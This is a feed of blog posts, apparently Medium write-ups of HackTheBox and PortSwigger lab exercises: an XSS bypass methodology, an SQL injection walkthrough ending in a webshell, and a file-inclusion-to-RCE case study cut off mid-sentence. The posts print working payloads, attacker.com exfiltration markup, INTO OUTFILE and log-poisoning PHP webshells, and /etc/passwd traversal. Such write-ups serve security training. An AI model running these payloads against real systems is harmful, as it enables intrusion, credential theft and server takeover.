“First Match” Flaw):</strong> A poorly written filter might only replace the very first instance of a dangerous character.</p><ul><li><em>The Bypass:</em> If the filter only replaces the first &lt; with &amp;lt;, you can inject &lt;&lt;&gt;&lt;img src=x onerror=alert(1) /&gt; . The server encodes the first bracket, resulting in &amp;lt;&amp;gt;&lt;img src=x onerror=alert(1) /&gt;, leaving your actual payload untouched and ready to fire .</li></ul><p>By carefully analyzing these responses, you gather the intelligence needed to craft the specific, surgical payloads used in Phases 2 and 3.</p><h3>Phase 2: Intermediate (Context and Breakouts)</h3><p>This phase is where vulnerability research becomes highly surgical. When your input is reflected but the application attempts to sanitize it, you must understand exactly how the browser’s parser constructs the page to find the gaps in that sanitization.</p><p>Here is a deeper, technical dive into the exact mechanics of Phase 2 context breakouts.</p><h3>Step 4: HTML Context Breakouts</h3><p>This is the most fundamental execution context. Your input lands directly in the raw HTML body (e.g., between &lt;div&gt; or &lt;p&gt; tags) with nothing encoded.</p><ul><li><strong>The Mechanics:</strong> The browser reads the document top-to-bottom. When it encounters unencoded angle brackets (&lt; &gt;), it assumes a new HTML element is starting.</li><li><strong>The Exploit:</strong> If you inject &lt;script&gt;alert(&quot;Hello&quot;)&lt;/script&gt;, the browser simply stops rendering text, switches to its JavaScript execution engine, runs the script, and then goes back to rendering HTML.</li></ul><h3>Step 5: Attribute Context Breakouts</h3><p>When your input lands inside an HTML attribute — like &lt;input type=&quot;text&quot; value=&quot;YOUR_INPUT&quot;&gt;—the browser is in a different parsing state. It expects text, not a new tag.</p><ul><li><strong>The Defense:</strong> Developers often HTML-encode angle brackets (&lt; becomes &amp;lt;) to stop you from injecting new tags like &lt;script&gt;.</li><li><strong>The Exploit:</strong> If they forget to escape the quotation marks, you don’t need new tags. You can “break out” by closing their attribute early and injecting your own event handler.</li><li><strong>The Payload:</strong> Injecting &quot; onmouseover=&quot;alert(1) changes the element to &lt;input type=text value=&quot;&quot; onmouseover=&quot;alert(1)&quot;&gt;. The browser sees a perfectly valid, completed value attribute, followed immediately by a valid event handler that will execute when the user interacts with the element.</li></ul><h3>Step 6: JavaScript Context Breakouts</h3><p>This is where things get complex. Your input is reflected directly inside a &lt;script&gt; block, usually assigned to a variable: var search = &#39;YOUR_INPUT&#39;;. You are already in an execution context, so you must manipulate the JavaScript syntax itself.</p><ul><li><strong>Scenario A: Unescaped Quotes</strong> If the developer doesn’t escape single quotes, you can break the string. Injecting &#39;-alert(1)-&#39; or &#39;+alert(1)+//&#39; forces the script to break out of the string literal. By using mathematical operators like - or +, you force the JavaScript engine to execute alert(1) first so it can figure out what value to subtract or concatenate.</li><li><strong>Scenario B: The Backslash Bypass</strong> Often, the server will try to protect the string by escaping your quote, turning &#39; into \&#39;. You can defeat this by injecting your own backslash: \&#39;;alert(1)//. The server sees your backslash and escapes it, resulting in \\\&#39;. The first two backslashes form a single literal backslash \\, meaning the server&#39;s escape attempt is &quot;consumed&quot;. Your single quote is now free to terminate the string, and the payload executes.</li><li><strong>Scenario C: Closing the Script Block</strong> If quotes and backslashes are heavily filtered (e.g., locked down as \&#39; and \\), you might not be able to break out of the string variable. However, if angle brackets (&lt; &gt;) are allowed, you can just knock down the entire wall. By injecting &lt;/script&gt;&lt;img src=x onerror=alert(1)&gt;, you force the browser to immediately terminate the current script block. The browser ignores the resulting syntax errors inside the broken script and executes the next HTML tag as a fresh element .</li></ul><h3>Step 7: Escaping JSON and eval( )</h3><p>Modern single-page applications frequently reflect data into JSON structures that are parsed client-side using eval().</p><ul><li><strong>The Mechanics:</strong> The server might reflect your input into a structure like this: eval(&#39;var obj = {&quot;results&quot;:[],&quot;searchTerm&quot;:&quot;YOUR_INPUT&quot;}&#39;).</li><li><strong>The Defense:</strong> The server might escape your double quotes (&quot;test\&quot;&quot;) to prevent you from breaking the JSON.</li><li><strong>The Exploit:</strong> You can inject \&quot;};alert(1)//. The \ handles the server&#39;s escape attempt. The &quot; breaks out of the JSON string, and the } closes the JSON object. The ; finishes the variable assignment, freeing up the next space for alert(1) to execute. Finally, the // comments out the rest of the original JSON syntax (like &quot;}) so the script doesn&#39;t crash.</li></ul><h3>Step 8: Template Literals</h3><p>Sometimes input is reflected inside backticks (`), known as template literals in JavaScript.</p><ul><li><strong>The Danger:</strong> Unlike standard strings (which use &#39; or &quot;), template literals natively support inline JavaScript execution.</li><li><strong>The Exploit:</strong> Even if the application strictly HTML-encodes angle brackets and escapes standard quotes , you can inject ${alert(1)}. Because it remains inside the template string, the JavaScript engine sees the ${ } syntax and evaluates the contents inside it as an active code expression, firing the payload.</li></ul><h3>Phase 3: Advanced (Bypassing WAFs and Filters)</h3><p>This is where the standard vulnerability scans fail and manual penetration testing really shines. When a Web Application Firewall (WAF) or strict input filter sits between you and a vulnerability, you have to dissect how the filter is built — specifically identifying whether it uses a blacklist (blocking known bad things) or a whitelist (only allowing known good things).</p><p>Here is a detailed breakdown of Phase 3, expanding on the specific mechanics, execution flows, and payloads for bypassing these defenses.</p><h3>Step 9: Fuzzing for Allowed Tags and Events (The Blind Spot Hunt)</h3><p>When a WAF blocks common vectors like &lt;script&gt; or onerror, developers have likely implemented a blacklist. Your goal is to systematically find the tags and event handlers they forgot to include.</p><p><strong>The Execution Flow:</strong></p><ol><li><strong>Identify Allowed Tags:</strong> Capture a search request in Burp Suite and send it to Intruder. Set your payload position where the tag name goes (e.g., &lt;§§&gt;) and paste a full list of HTML tags. Look for HTTP 200 OK responses in the results; if a tag like &lt;body&gt; passes through, that is your entry point.</li><li><strong>Identify Allowed Events:</strong> Once you have a working tag, find an event it supports by fuzzing the attribute position (e.g., &lt;body §§=1&gt;). If an event like onresize returns a 200 OK, you have your trigger.</li><li><strong>Weaponizing Without Interaction:</strong> To make this a high-severity exploit, you must trigger the event without the user clicking anything. If your payload is &lt;body onresize=print()&gt;, you can host an &lt;iframe&gt; on an exploit server that loads the vulnerable page and then dynamically resizes itself: &lt;iframe src=&quot;https://vulnerable-website/?search=%22%3E%3Cbody%20onresize=print()%3E&quot; onload=&quot;this.style.width=&#39;100px&#39;&quot;&gt;&lt;/iframe&gt; . Changing the width forces the injected &lt;body&gt; to resize, firing the payload automatically.</li></ol><h3>Step 10: Leveraging Custom Tags (The Focus Mechanism)</h3><p>This vulnerability exists because the WAF is programmed to block “known dangerous” standard tags, but modern browsers are designed to be highly flexible. If you feed a browser an unrecognized tag like &lt;xss&gt;, it will still create a DOM element for it, and that element will still support Global Event Handlers.</p><p><strong>The Execution Flow:</strong></p><ol><li><strong>The Challenge:</strong> Custom tags are considered “Non-Resource Tags,” meaning they do not support auto-executing events like onload.</li><li><strong>The Focus Solution:</strong> You can bypass this by chaining three specific attributes: id=x (to create a target), tabindex=1 (to make the non-interactive tag focusable), and onfocus=alert(1) (your payload) .</li><li><strong>The Trigger:</strong> You craft a payload that injects your custom tag and appends a URL Fragment (#x) to the end of the request. For example: https://TARGET.com/?search=&lt;xss id=x onfocus=alert(1) tabindex=1&gt;#x.</li><li><strong>The Bypass:</strong> The WAF sees &lt;xss&gt; and ignores it. The browser renders the page, sees the #x fragment, and automatically jumps to and focuses on that element, instantly firing your onfocus payload without the user touching their mouse or keyboard .</li></ol><h3>Step 11: Exploiting SVG and SMIL (The XML Namespace Gap)</h3><p>Applications often filter out standard HTML but explicitly permit &lt;svg&gt; markup for graphics. The critical oversight here is that SVG supports the SMIL (Synchronized Multimedia Integration Language) specification.</p><p><strong>The Execution Flow:</strong></p><ol><li><strong>The SMIL Engine:</strong> SMIL includes specific event handlers that execute JavaScript. Because SVG is XML-based, the browser’s XML parser treats attribute values as executable code when the animation engine initializes .</li><li><strong>The Blind Spot:</strong> WAFs are heavily tuned to look for standard HTML events like onload or onclick, frequently overlooking SMIL-specific attributes because they exist entirely within the SVG/XML namespace .</li><li><strong>The Payload:</strong> You inject &lt;svg&gt;&lt;animatetransform onbegin=alert()&gt;&lt;/svg&gt;. The onbegin handler is a native, legitimate event attribute for SVG animations. Because animations default to a start time of zero seconds, the event fires—and the payload executes—the absolute millisecond the element is rendered in the DOM.</li></ol><h3>Step 12: Hidden Tag Execution (The AccessKey Trick)</h3><p>Sometimes, user input is reflected into the DOM, but it gets trapped inside a tag that is completely invisible to the user, such as a &lt;link rel=&quot;canonical&quot;&gt; tag located inside the &lt;head&gt; of the document .</p><p><strong>The Execution Flow:</strong></p><ol><li><strong>The Challenge:</strong> Most standard event handlers (like onmouseover) are completely useless here because they require a visible element in the &lt;body&gt; for the user to interact with.</li><li><strong>The AccessKey Bypass:</strong> The accesskey is a rare global HTML attribute that assigns a keyboard shortcut (like Alt + key) to an element for accessibility purposes. Crucially, it works on invisible elements inside the &lt;head&gt;.</li><li><strong>The Payload:</strong> You break out of the href attribute by injecting a single quote, then append your access key and an execution event: /?&#39;accesskey=&#39;x&#39; onclick=&#39;alert(1)&#39;.</li><li><strong>The Trigger:</strong> In a real-world assessment, this vector requires a small amount of social engineering to trick the victim into pressing the specific shortcut (e.g., ALT + SHIFT + X on Windows, or CTRL + ALT + X on macOS). When pressed, Chrome effectively “clicks” the hidden element, executing the onclick handler despite it being completely invisible.</li></ol><h3>Phase 4: Expert (DOM and Architecture Attacks)</h3><p>This is where vulnerability research becomes an art form. Moving into Phase 4 means you are no longer just fighting the application’s input filters; you are actively subverting the browser’s architecture, JavaScript engines, and security policies.</p><p>Here is a deep dive into the mechanics and exploitation of these advanced attack vectors.</p><h3>Step 13: DOM-Based XSS (The Client-Side Execution)</h3><p>Most XSS (Reflected/Stored) relies on the server mishandling data and echoing it back in the HTTP response. DOM-Based XSS is entirely different: <strong>the vulnerability exists solely within the client-side JavaScript.</strong> The server might never even see the malicious payload.</p><p><strong>The Mechanics: Sources and Sinks</strong></p><p>To find DOM XSS, you track the flow of data from a <strong>Source</strong> (where the attacker controls input) to a <strong>Sink</strong>(where the browser executes it).</p><ul><li><strong>Common Sources:</strong> location.search (URL parameters), location.hash (the # fragment), document.referrer, window.name.</li><li><strong>Common Sinks:</strong> element.innerHTML, document.write(), eval(), setTimeout().</li></ul><p><strong>The Exploit Scenario</strong></p><p>Imagine a page with this JavaScript:</p><pre>let query = new URLSearchParams(window.location.search).get(&#39;q&#39;);<br>document.getElementById(&#39;results&#39;).innerHTML = &quot;Results for: &quot; + query;</pre><p>If you navigate to ?q=&lt;img src=x onerror=alert(1)&gt;, the server just serves the static JavaScript. But once the page loads, the browser executes the script, pulls the payload from the URL, and forces it directly into the DOM via innerHTML, triggering the execution.</p><h3>Step 14: Framework Sandbox Escapes (The AngularJS Breakout)</h3><p>Older client-side frameworks, particularly AngularJS (versions 1.x), evaluate expressions inside double curly braces {{ }}. Recognizing the danger of XSS, AngularJS implemented a &quot;sandbox&quot; to prevent template expressions from accessing the global window or document objects.</p><p><strong>The Mechanics: Constructor Chaining</strong></p><p>To execute arbitrary JavaScript, you have to break out of this sandbox. In JavaScript, almost everything is an object, and objects have prototypes and constructors.</p><ul><li>[] creates an empty Array.</li><li>[].constructor points to the native Array function.</li><li>[].constructor.constructor points to the native Function object, which sits outside the AngularJS sandbox in the global execution context.</li></ul><p><strong>The Exploit Scenario</strong></p><p>By chaining these properties, you can force the application to compile and execute a raw string as JavaScript:</p><pre>{{[].constructor.constructor(&quot;alert(1)&quot;)()}}</pre><p><strong>The Advanced Override (</strong><strong>charAt)</strong></p><p>In heavily secured instances, AngularJS uses internal functions like charAt to parse expressions and block dangerous characters. You can inject a payload that overwrites the charAt function on the String prototype, replacing it with [].join. When the framework attempts to sanitize the string, it receives an unexpected array join result, confusing the parser&#39;s logic and allowing the malicious expression to slip through and execute.</p><h3>Step 15: Content Security Policy (CSP) Bypasses</h3><p>A Content Security Policy (CSP) is an HTTP header that restricts where resources (like scripts and images) can be loaded from. A strict CSP, like script-src &#39;self&#39;, acts as a massive wall: even if you successfully reflect an XSS payload like &lt;script&gt;alert(1)&lt;/script&gt;, the browser will refuse to execute it because it is &quot;inline&quot; and not loaded from an authorized domain.</p><p><strong>The Mechanics: Injecting the Policy</strong></p><p>You cannot bypass a perfectly implemented strict CSP. However, you can exploit applications that dynamically build their CSP headers based on user input (e.g., dynamically setting a report URI via a URL parameter). If your input alters the CSP header itself, you aren’t bypassing the rules — you are rewriting them.</p><p><strong>The Exploit Scenario</strong></p><p>If you discover a parameter that reflects into the CSP header, you can inject a newer directive like script-src-elem.</p><ul><li><strong>The Payload:</strong> &amp;token=;script-src-elem &#39;unsafe-inline&#39;</li><li><strong>Why it works:</strong> Modern browsers prioritize script-src-elem over the standard script-src directive specifically for &lt;script&gt; tags. By appending this to the CSP, you successfully instruct the browser that inline scripts are suddenly allowed, reviving your otherwise blocked XSS payload.</li></ul><h3>Step 16: Dangling Markup Attacks (Data Exfiltration via Parsing)</h3><p>When an application is protected by a strict CSP that successfully blocks external scripts and images, executing JavaScript might be impossible. However, you can still steal sensitive data (like CSRF tokens or user emails) by abusing how browsers parse incomplete HTML.</p><p><strong>The Mechanics: The Unclosed Tag</strong></p><p>If you inject an HTML tag but purposefully omit the closing quote or bracket, the browser’s parser won’t crash. Instead, it assumes the tag is still open and consumes all subsequent HTML on the page until it finally encounters a closing character.</p><p><strong>The Exploit Scenario</strong></p><p>Imagine a page that contains a hidden CSRF token further down in the source code:</p><pre>&lt;input type=&quot;hidden&quot; name=&quot;csrf&quot; value=&quot;abc123_secret&quot;&gt;</pre><p>If you inject an unclosed image tag into a vulnerable input field above it:</p><pre>&lt;img src=&quot;https://attacker.com/log?data=</pre><p>The browser sees the unclosed quote and pulls everything below it — including the CSRF token — into the srcURL.</p><p>If external images are blocked by CSP, you can adapt this to forms, injecting:</p><pre>&quot;&gt;&lt;button formaction=&quot;https://attacker.com/steal&quot; formmethod=&quot;get&quot;&gt;Click&lt;/button&gt;</pre><p>This overrides the form’s intended destination. When the victim clicks the button, the browser submits the entire surrounding form (which contains their hidden CSRF token) directly to your exploit server via a GET request, effectively exfiltrating the token through the URL parameters.</p><h3>Closing Thoughts: The Attacker’s Mindset</h3><p>If there is one takeaway from this methodology, it should be this: <strong>Context is everything.</strong> Finding high-impact Cross-Site Scripting vulnerabilities isn’t about blinding an application with a massive, automated list of payloads and hoping something sticks. It is about meticulous observation. It is about understanding the browser’s parser better than the developer who wrote the code, mapping the data flow, and surgically breaking the execution context.</p><p>As you transition from structured lab environments and CTF challenges into real-world penetration testing assessments, this analytical mindset will be your greatest asset. Automated scanners and tools will always catch the low-hanging fruit, but they notoriously struggle with complex DOM architecture and custom WAF bypasses. Whether you are hunting for bug bounties manually or conceptualizing the next generation of autonomous security agents, mastering these client-side fundamentals is what separates a script kiddie from a true security researcher.</p><p>The web is constantly evolving, and so are the defenses. Keep fuzzing those boundaries, keep questioning how the data is handled, and never assume a filter is perfect.</p><p><strong>What’s next?</strong> Take this methodology and practice it in safe, intentionally vulnerable environments like the PortSwigger Web Security Academy. Find a blind spot, chain a payload, and pop that alert box.</p><p>If you found this guide helpful, feel free to share it, drop your thoughts or your favorite XSS bypass techniques in the comments, and connect with me as we continue to explore the offensive side of web security. Happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=551cd2b8d479" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Black Box to Full Compromise: A Real-World SQL Injection Walkthrough]]></title>
            <link>https://medium.com/@ravsau00/from-black-box-to-full-compromise-a-real-world-sql-injection-walkthrough-a5eba999ec37?source=rss-5b4a4cfce0d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5eba999ec37</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb-academy]]></category>
            <dc:creator><![CDATA[Sau Rav]]></dc:creator>
            <pubDate>Mon, 24 Nov 2025 11:57:24 GMT</pubDate>
            <atom:updated>2025-11-24T11:57:24.825Z</atom:updated>
            <content:encoded><![CDATA[<p>HTB Skills Assessment — SQL Injection Fundamentals</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W5oqF9HtDxWbxXRtgjG4Pg.png" /></figure><p>As a penetration tester, there’s nothing quite like a true black-box assessment. No source code, no credentials, just an IP address and a mission: find vulnerabilities. Recently, I had the opportunity to conduct such an assessment for <strong>chattr GmbH</strong>, a company eager to fortify their defenses after a competitor’s breach. Their request was clear: an SQL injection-focused penetration test on their live platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TmW4GxKZVJvUiOK6sHsrVA.png" /></figure><p>Here’s how a single vulnerability cascaded into full system compromise.</p><h3>1. Initial Reconnaissance: First Impressions</h3><p>My journey began by simply visiting the target at &lt;IP&gt;:&lt;PORT&gt;. The application presented two main entry points: a login page and a registration page (register.php).</p><p><strong>The Login Page:</strong> I started with the login form, hammering it with every standard SQLi payload imaginable: &#39;, &quot; OR &quot;1&quot;=&quot;1, &#39; OR 1=1-- -, along with blind and time-based patterns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jYM9v4QOCoXepaBoct2V-A.png" /></figure><p>The result? <strong>No injection possible.</strong> The login form was robust, clearly sanitizing inputs effectively. A good sign for their core authentication, but the hunt was far from over.</p><h3>2. Unearthing the First Injection: The Registration Form</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9-zakoKFUcl1UPZ4XeuDKg.png" /></figure><p>Shifting my focus to register.php, I observed three fields: Username, Password, and Invitation Code. Using Burp Suite&#39;s Intruder, I fuzzed each parameter individually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmIqfmm4feA61w-dEZj7hg.png" /></figure><p>And then, it happened. When injecting a single quote (&#39;) into the <strong>invitation-code</strong> field, the application responded with a <strong>500 Internal Server Error</strong>.</p><p>This was it — the first confirmed SQL injection! With this vulnerability, I successfully created an account and logged into the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0sbQSXu8W00Gutqbq9n8jQ.png" /></figure><h3>3. A New Hunting Ground: The Search Function</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bY6d87oJZV_YY0KcvF5Y3g.png" /></figure><p>Inside the application, a prominent search bar caught my eye. My instinct told me to test it immediately. Injecting a single quote (&#39;) once again triggered a <strong>500 Internal Server Error</strong>. Another SQL injection point confirmed!</p><p>However, initial payloads like &#39; OR 1=1-- - failed. This hinted at a slightly more complex backend query structure.</p><h3>4. Cracking the Query: Understanding the Backend</h3><p>Through further experimentation, I deduced that the backend SQL query likely involved extra parentheses, something like:</p><p>WHERE (search = &#39;&lt;input&gt;&#39;) AND (u = &lt;id&gt;)</p><p>This meant my injection needed to first close that initial parenthesis. The correct payload structure emerged:</p><p>&#39;) OR 1=1 -- -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jD2Cs4WqFWeDywYryveuuA.png" /></figure><p>This simple adjustment bypassed the filtering, giving me a <strong>200 OK</strong> response with visible results. This confirmed the presence of:</p><ul><li>Boolean-based SQLi</li><li>UNION-based SQLi</li><li>Support for comments (-- -)</li></ul><h3>5. Column Count and Reflected Data</h3><p>To leverage UNION queries for data extraction, I needed to determine the number of columns. I tried:</p><p>&#39;) UNION SELECT 1,2,3,4 -- -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ckl5i6JGc4luLvnycZsCgg.png" /></figure><p>The response only displayed the values 3 and 4. This indicated:</p><ul><li>The query had <strong>4 columns</strong>.</li><li>Only <strong>columns 3 and 4</strong> were reflected on the page, meaning any data I wanted to extract would need to be placed in these two positions.</li></ul><h3>6. Database Enumeration: Mapping the Kingdom</h3><p>With UNION SELECT at my disposal, it was time to enumerate the database.</p><p><strong>Listing All Databases:</strong></p><p>&#39;) UNION SELECT 1,2,schema_name,4 FROM INFORMATION_SCHEMA.SCHEMATA -- -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nbEm0Jn1J93QqeNLgsib-w.png" /></figure><p>Result: information_schema, <strong>chattr</strong></p><p>chattr was clearly the application&#39;s database.</p><p><strong>Listing Tables in </strong><strong>chattr:</strong></p><p>&#39;) UNION SELECT 1,2,table_name,4 FROM information_schema.tables WHERE table_schema=&#39;chattr&#39; -- -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JEUnNixFD4duWICY7h_vhw.png" /></figure><p>Found: Users, InvitationCodes, Messages</p><p>The Users table was the obvious target for credentials.</p><p><strong>Listing Columns in </strong><strong>Users:</strong></p><p>&#39;) UNION SELECT 1,2,column_name,table_name FROM information_schema.columns WHERE table_name=&#39;Users&#39; -- -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EUuWzVUldH_fS9E5uZDVNg.png" /></figure><p>Columns: UserID, Username, Password, InvitationCode, AccountCreated</p><h3>7. Extracting Admin Credentials: The Crown Jewels</h3><p>With the table and column names in hand, extracting credentials was straightforward:</p><p>&#39;) UNION SELECT 1,2,Username,Password FROM chattr.Users -- -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wNq0wcViBeJuFdtRqBfuLg.png" /></figure><p>Extracted:</p><p>admin | $argon2i$v=19$m=2048,t=4,p=3$.....</p><p>Success! I had dumped the admin hash, confirming a critical SQLi impact: the ability to read sensitive user data.</p><h3>8. Peeking Behind the Curtain: Server-Side Configuration</h3><p>To further escalate, I aimed to read server-side configuration files to potentially uncover the web root or other valuable information.</p><p><strong>Reading Nginx Config:</strong></p><p>&#39;) UNION SELECT 1,2,LOAD_FILE(&#39;/etc/nginx/nginx.conf&#39;),4 -- -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gzplii1CdZcyqZlFQjl0Q.png" /></figure><p>Inside nginx.conf, I discovered:</p><p>include /etc/nginx/sites-enabled/*</p><p>This led me to read the default site configuration:</p><p>&#39;) UNION SELECT 1,2,LOAD_FILE(&#39;/etc/nginx/sites-enabled/default&#39;),4 -- -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sBl6nn8yARi1__RwWElp1g.png" /></figure><p>Which revealed the web application root directory:</p><p>root /var/www/chattr-prod;</p><p>Now I knew exactly where the web application files resided.</p><h3>9. Achieving Remote Code Execution (RCE): Full Control</h3><p>With SQLi and the ability to write files (via INTO OUTFILE), the path to Remote Code Execution (RCE) was clear. I decided to drop a simple PHP webshell into the webroot.</p><p><strong>Webshell Injection:</strong></p><p>&#39;) UNION SELECT &quot;&quot;, &quot;&quot;, &quot;&lt;?php system($_REQUEST[0]); ?&gt;&quot;, &quot;&quot; INTO OUTFILE &#39;/var/www/chattr-prod/shell.php&#39; -- -</p><p>I now had RCE!</p><p>Then navigate to:</p><p>https://&lt;IP&gt;:&lt;PORT&gt;/shell.php?0=id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wtqh05P97f7TUxjl45R7TA.png" /></figure><h3>10. Retrieving the Flag: Mission Accomplished</h3><p>The final step was to access my webshell and retrieve the flag, which was likely hidden somewhere on the file system.</p><p><strong>Accessing the Webshell:</strong></p><p>https://&lt;IP&gt;:&lt;PORT&gt;/shell.php?0=cat ../../../flag_876a4c.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fuqNj1ojSOeFKj-0u7bf2g.png" /></figure><p>The server returned:</p><p>FLAG: &lt;redacted&gt;</p><p>Assessment complete.</p><h3>Conclusion: The Cascade of Compromise</h3><p>This black-box penetration test vividly demonstrated how a seemingly minor vulnerability in an “invitation code” field could rapidly escalate into a full system compromise. The chain of exploitation moved from:</p><ul><li>Database extraction</li><li>Credential disclosure</li><li>Sensitive system file access</li><li>Remote code execution</li><li>Ultimately, full control of the host.</li></ul><p>The primary culprits were <strong>unsanitized SQL queries</strong> combined with the database user’s <strong>ability to write to the filesystem via </strong><strong>INTO OUTFILE</strong>. This underscores the critical importance of secure coding practices and properly segmented database permissions, even in seemingly obscure input fields. For chattr GmbH, this assessment provided invaluable insights into hardening their application against sophisticated attacks.</p><p>Stay safe out there, and happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5eba999ec37" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Case Study: From File Inclusion to RCE in a Web Application Assessment]]></title>
            <link>https://medium.com/@ravsau00/case-study-from-file-inclusion-to-rce-in-a-web-application-assessment-860ae73fda07?source=rss-5b4a4cfce0d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/860ae73fda07</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Sau Rav]]></dc:creator>
            <pubDate>Mon, 22 Sep 2025 11:18:22 GMT</pubDate>
            <atom:updated>2025-09-22T11:18:22.912Z</atom:updated>
            <content:encoded><![CDATA[<p>HTB: Skills Assessment — File Inclusion</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cyF1hX42gQ8E6thQ1kMpkw.png" /></figure><h3>Executive Summary</h3><p>This report details the findings of a web application security assessment conducted for the company INLANEFREIGHT. The primary objective was to identify and exploit file inclusion and path traversal vulnerabilities on the target application hosted at 94.237.49.23:42489. The engagement successfully identified a chain of vulnerabilities, beginning with a filtered Local File Inclusion (LFI) flaw that was bypassed to reveal a hidden administrative interface. A second, more severe LFI vulnerability within this interface was then leveraged to achieve Remote Code Execution (RCE) via Nginx log poisoning. This culminated in the successful retrieval of a flag located in the server&#39;s root directory, demonstrating a critical risk to the application&#39;s integrity and the underlying server&#39;s security.</p><h3>Phase 1: Initial Reconnaissance</h3><p>The assessment commenced with basic enumeration to understand the technology stack of the web application. The whatweb tool was used for this purpose.</p><pre>whatweb http://94.237.49.23:42489</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3GXQYoF3OqDT5dyxtRCjTA.png" /></figure><p><strong>Key Findings:</strong></p><ul><li><strong>Server:</strong> Nginx 1.18.0</li><li><strong>Language:</strong> PHP 7.3.22</li><li><strong>Frameworks:</strong> Bootstrap, jQuery</li><li><strong>Application Title:</strong> InlaneFreight</li></ul><p>The results confirmed a standard <strong>Nginx + PHP</strong> stack, a common environment where file inclusion vulnerabilities can have a high impact.</p><h3>Phase 2: Vulnerability Discovery and Bypass</h3><p>Upon navigating the website, a parameter in the URL was identified as a potential vector for LFI:</p><pre>http://94.237.49.23:42489/index.php?page=about</pre><p>An initial attempt was made to test for classic path traversal by trying to access the /etc/passwd file.</p><pre>http://94.237.49.23:42489/index.php?page=../../../../../../etc/passwd</pre><p>This attempt was blocked by a security filter, which returned the message <strong>“Invalid input detected!”</strong>. This indicated that a basic Web Application Firewall (WAF) or an input sanitization function was in place.</p><p>To bypass this filter, the <strong>PHP filter wrapper</strong> was employed. This technique allows for reading local files by applying an encoding filter, which can circumvent simple pattern-matching rules that look for traversal sequences like ../.</p><pre>http://94.237.49.23:42489/index.php?page=php://filter/convert.base64-encode/resource=index</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BWL040SpV-lXosE2ks_jaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAPCKGjnHY3MeDApd7zAHQ.png" /></figure><p>This request successfully returned the Base64-encoded source code of index.php. After decoding the output, the source code revealed a reference to a hidden administrative directory: <strong>ilf_admin/index.php</strong>.</p><h3>Phase 3: Uncovering a Second, Unfiltered LFI Vector</h3><p>Following the discovery, the administrative panel was accessed at:</p><pre>http://94.237.49.23:42489/ilf_admin/index.php</pre><p>Within this panel, the “System Log” page revealed a new parameter used for including log files. A new LFI test was conducted on this parameter, which proved to be successful as it lacked the input validation present on the public-facing page parameter.</p><p><strong>Successful LFI Confirmation:</strong> The /etc/passwd file was successfully retrieved through this new vector, confirming a critical, unfiltered LFI vulnerability.</p><p>(Note: At this point, the target machine was respawned, resulting in a new IP and port. The methodology remains identical.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*edaJPcGGUhUp5PlHYfwfeg.png" /></figure><h3>Phase 4: Escalation to Remote Code Execution via Log Poisoning</h3><p>With the ability to include arbitrary local files, the next logical step was to escalate this vulnerability to <strong>Remote Code Execution (RCE)</strong>. The <strong>Nginx log poisoning</strong> technique was selected for this purpose. This method involves injecting malicious PHP code into a request field that gets logged by the server (such as the User-Agent header) and then using the LFI vulnerability to include the log file, causing the server to execute the injected code.</p><p><strong>Step-by-Step RCE Process:</strong></p><ul><li><strong>Identify the Log File:</strong> The default Nginx access log location was targeted: /var/log/nginx/access.log.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4vDNR3JNeypGf7HSmjvscA.png" /></figure><p>The data in access.log might be too huge so for our own easiness use burp suite to intercept and create a webshell similar to what we did in Log Poisoning in this module. Now Intercept the request to access.log and try to change User-Agent anything you want. (We should send the request two times as 1st request is recorded in server and when we send the second time It shows the previous recorded item).</p><ul><li><strong>Intercept and Inject:</strong> A request to the vulnerable endpoint was intercepted using Burp Suite. The User-Agentheader was modified to contain a simple PHP web shell.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jl3xggYVkcUF9Nsux6P-gg.png" /></figure><p>To verify the injection vector, we modified the User-Agent header in our request to a unique string. Upon examining the server&#39;s access.log, we confirmed that our custom string was recorded verbatim, indicating the application is vulnerable to log poisoning</p><ul><li><strong>Payload:</strong> &lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OpiMeMIDyICbXJkFoGD9Qw.png" /></figure><ul><li><strong>Poison the Log:</strong> The modified request was sent to the server. This action writes the malicious 